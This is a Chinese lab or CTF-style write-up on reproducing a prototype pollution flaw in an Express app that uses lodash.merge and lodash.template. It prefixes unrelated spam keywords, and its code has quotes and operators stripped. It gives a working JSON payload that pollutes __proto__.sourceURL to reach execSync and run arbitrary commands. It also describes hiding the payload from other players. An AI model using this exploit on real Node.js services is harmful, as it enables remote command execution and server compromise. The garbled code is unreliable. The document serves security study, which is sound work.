网站上的图片多大合适,网站推广合同模板,网络游戏有哪些,长沙小程序开发目录
准备工作
环境搭建
加载项目
复现
代码审计
payload 总结 准备工作 环境搭建 Nodejs BurpSuite
加载项目 项目链接
① 下载好了cmd切进去 ② 安装这个项目 可以检查一下 ③运行并监听 可以看到已经在3000端口启动了 复现 代码审计
const fs require(fs)
cons…目录
准备工作
环境搭建
加载项目
复现
代码审计
payload 总结 准备工作 环境搭建 Nodejs BurpSuite
加载项目 项目链接
① 下载好了cmd切进去 ② 安装这个项目 可以检查一下 ③运行并监听 可以看到已经在3000端口启动了 复现 代码审计
const fs require(fs)
const express require(express)
const bodyParser require(body-parser)
const lodash require(lodash)
const session require(express-session)
const randomize require(randomatic)
//以上都是引入各种模块const app express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use(/static, express.static(static))
app.use(session({name: thejs.session,secret: randomize(aA0, 16),resave: false,saveUninitialized: false
}))
app.engine(ejs, function (filePath, options, callback) { // define the template enginefs.readFile(filePath, (err, content) {if (err) return callback(new Error(err))let compiled lodash.template(content)let rendered compiled({...options})return callback(null, rendered)})
})
app.set(views, ./views)
app.set(view engine, ejs)app.all(/, (req, res) {let data req.session.data || {language: [], category: []}if (req.method POST) {data lodash.merge(data, req.body)req.session.data data}res.render(index, {language: data.language, category: data.category})
})app.listen(3000, () console.log(Example app listening on port 3000!))看到了这一句所以要先了解lodash模块是干什么的
data lodash.merge(data, req.body) lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集其中包含字符串、数组、对象等操作。这个Web应用中使用了lodash提供的两个工具 lodash.template 一个简单的模板引擎 lodash.merge 函数或对象的合并 逻辑就是用户提交数据通过lodash.merge将数据一直追加到session中
meige显然是可以利用的然后我们要找一个可以利用的属性了 为什么要利用sourceURL这个变量因为需要注入的变量需要在程序后段被调用也就是需要找到一个未定义且后面被调用的变量进行注入 重点关注一下template的第二个参数是options然后sourceURL这个属性默认为空如果options中传sourceURL就会将值赋过去。这样sourceURL就是我们可以控制的了 这里会把sourceURL拼接进了这个函数那我们就可以构造child_process.exec()了 但是对代码的上下文都没有require所以在执行的时候换成
global.process.mainModule.constructor._load(child_process).execSync(whoami) whoami就是任意命令执行的地方 payload
{__proto__ :{sourceURL :
\u000areturn (){for (var a in {}) {delete Object.prototype.a;} return global.process.mainModule.constructor._load(child_process).execSync(whoami)}//}
}{__proto__ : {sourceURL : }}为主体
\u000a是url编码的换行目的让return在开头return (){for (var a in {}) {delete Object.prototype.a;}
这句的作用自己复现的时候意义不大目的是清空Object原型对象的属性防止被别的ctf选手抓包看到我们的payloadreturn global.process.mainModule.constructor._load(child_process).execSync(whoami)}//
这句才是关键用了这个取代require(child_process).exec最后//注释掉原本的return以及后边的内容注{__proto__ : }这里的__proto__在正常传递的时候可不会被当作属性只有以json格式传递这里不好用json.parse函数那就直接在请求头里改Content-type就好 calc计算器执行成功 总结 感觉原型链污染相对来说难一点点主要难点在代码审计上